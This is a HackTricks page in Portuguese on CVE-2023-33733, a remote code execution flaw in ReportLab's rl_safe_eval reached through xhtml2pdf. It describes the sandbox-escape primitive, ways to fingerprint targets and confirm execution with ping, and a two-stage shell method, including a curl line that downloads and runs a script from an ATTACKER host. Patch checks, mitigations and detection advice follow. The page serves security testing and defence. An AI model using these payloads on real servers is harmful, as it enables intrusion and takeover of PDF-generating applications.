ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta página documenta um escape prático do sandbox e um primitivo de RCE no rl_safe_eval do ReportLab usado por xhtml2pdf e outros pipelines de geração de PDF ao renderizar HTML controlado pelo usuário em PDFs.

CVE-2023-33733 afeta versões do ReportLab até e incluindo 3.6.12. Em certos contextos de atributo (por exemplo color), valores embalados em triple brackets [[[ … ]]] são avaliados no servidor por rl_safe_eval. Ao criar um payload que pivota de um builtin na whitelist (pow) para os globals da função Python, um atacante pode alcançar o módulo os e executar comandos.

Pontos-chave

  • Gatilho: injete [[[ … ]]] em atributos avaliados como dentro de marcação analisada por ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval substitui builtins perigosos, mas funções avaliadas ainda expõem globals.
  • Bypass: crie uma classe transitória Word para contornar as verificações de nome do rl_safe_eval e acessar a string “globals” evitando o filtro de dunders bloqueados.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Estabilidade: Retorne um valor válido para o atributo após a execução (para color, use and ‘red’).

Quando testar

  • Aplicações que expõem exportação HTML-para-PDF (profiles, invoices, reports) e mostram xhtml2pdf/ReportLab nos metadados do PDF ou em comentários da resposta HTTP.
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
  • A resposta HTTP para PDF frequentemente começa com um comentário do generator do ReportLab

Como o bypass do sandbox funciona

  • rl_safe_eval remove ou substitui muitos builtins (getattr, type, pow, …) e aplica filtragem de nomes para negar atributos que começam com __ ou que estão numa denylist.
  • Entretanto, funções seguras vivem em um dicionário globals acessível como func.globals.
  • Use type(type(1)) para recuperar a função builtin real type (contornando o wrapper do ReportLab), então defina uma classe Word derivada de str com comportamento de comparação mutado de forma que:
  • .startswith(‘’) → sempre False (contorna a verificação name startswith(‘’))
  • .eq retorna False apenas na primeira comparação (contorna as verificações de membership da denylist) e True posteriormente (assim getattr do Python funciona)
  • .hash igual a hash(str(self))
  • Com isso, getattr(pow, Word(‘globals’)) retorna o dict de globals da função pow empacotada, que inclui um módulo os importado. Depois: ['os'].system('<cmd>').

Padrão mínimo de exploração (exemplo em atributo) Coloque o payload dentro de um atributo avaliado e assegure que ele retorne um valor válido para o atributo via boolean e ‘red’.

exploit

  • A forma por list-comprehension permite uma expressão única aceitável ao rl_safe_eval.
  • O sufixo and ‘red’ retorna uma cor CSS válida para que a renderização não quebre.
  • Substitua o comando conforme necessário; use ping para validar execução com tcpdump.

Fluxo operacional

  1. Identificar o gerador de PDF
  • PDF Producer mostra xhtml2pdf; a resposta HTTP contém comentário do ReportLab.
  1. Encontrar uma entrada refletida no PDF (por exemplo, profile bio/description) e acionar uma exportação.
  2. Verificar execução com ICMP de baixo ruído
  • Execute: sudo tcpdump -ni <iface> icmp
  • Payload: … system('ping <your_ip>')
  • Windows frequentemente envia exatamente quatro echo requests por padrão.
  1. Estabelecer um shell
  • Para Windows, uma abordagem confiável em duas etapas evita problemas de quoting/encoding:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Para alvos Linux, uma abordagem similar em duas etapas com curl/wget é possível:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

Notas e dicas

  • Contextos de atributo: color é um atributo conhecido que é avaliado; outros atributos na marcação do ReportLab também podem avaliar expressões. Se um local for sanitizado, tente outros renderizados no fluxo do PDF (diferentes campos, estilos de tabela, etc.).
  • Quoting: Mantenha os comandos compactos. Downloads em duas etapas reduzem drasticamente problemas de quoting e escaping.
  • Confiabilidade: Se as exportações forem cacheadas ou enfileiradas, varie ligeiramente o payload (por exemplo, caminho aleatório ou query) para evitar caches.

Status do patch (2024–2025) e identificação de backports

  • 3.6.13 (27 Apr 2023) reescreveu colors.toColor para um parser baseado em AST-walk; releases 4.x mais recentes mantêm esse caminho. Forçar rl_settings.toColorCanUse para rl_safe_eval ou rl_extended_literal_eval reativa o avaliador vulnerável mesmo em versões atuais.
  • Várias distribuições entregam correções backportadas enquanto mantêm números de versão como 3.6.12-1+deb12u1; não confie apenas no versionamento semântico. Grep colors.py por ast.parse ou inspecione toColor em runtime para confirmar que o parser seguro está em uso (veja o quick check abaixo).
  • Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

Mitigações e detecção

  • Atualize o ReportLab para 3.6.13 ou posterior (CVE-2023-33733 corrigido). Monitore também avisos de segurança nos pacotes da distro.
  • Não alimente HTML/marcação controlada pelo usuário diretamente no xhtml2pdf/ReportLab sem sanitização estrita. Remova/negue [[[…]]] construtos de avaliação e tags específicas do fornecedor quando a entrada não for confiável.
  • Considere desabilitar ou encapsular totalmente o uso de rl_safe_eval para entradas não confiáveis.
  • Monitore por conexões de saída suspeitas durante a geração de PDFs (por exemplo, ICMP/HTTP de servidores de aplicação ao exportar documentos).

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks